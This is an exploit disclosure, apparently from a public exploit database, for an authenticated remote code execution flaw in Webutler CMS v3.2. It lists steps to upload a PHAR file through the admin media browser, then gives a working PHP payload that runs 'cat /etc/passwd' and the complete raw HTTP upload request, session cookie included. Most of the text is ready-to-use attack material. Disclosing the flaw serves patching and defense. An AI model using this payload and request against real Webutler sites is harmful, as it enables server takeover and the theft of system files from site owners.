Webutler v3.2 - Remote Code Execution (RCE)

Exploit Title: Webutler v3.2 - Remote Code Execution (RCE)
Application: webutler Cms
Version: v3.2
Bugs:  RCE
Technology: PHP
Vendor URL: https://webutler.de/en
Software Link: http://webutler.de/download/webutler_v3.2.zip
Date of found: 03.08.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 
1. login to account as admin
2. go to visit media 
3.upload phar file
4. upload poc.phar file

poc.phar file contents :
<?php echo system("cat /etc/passwd");?>
5. Visit to poc.phar file
poc request:

POST /webutler_v3.2/admin/browser/index.php?upload=newfile&types=file&actualfolder=%2F&filename=poc.phar&overwrite=true HTTP/1.1
Host: localhost
Content-Length: 40
sec-ch-ua: 
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
X_FILENAME: poc.phar
sec-ch-ua-platform: ""
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/webutler_v3.2/admin/browser/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: WEBUTLER=ekgfsfhi3ocqdvv7ukqoropolu
Connection: close

<?php echo system("cat /etc/passwd");?>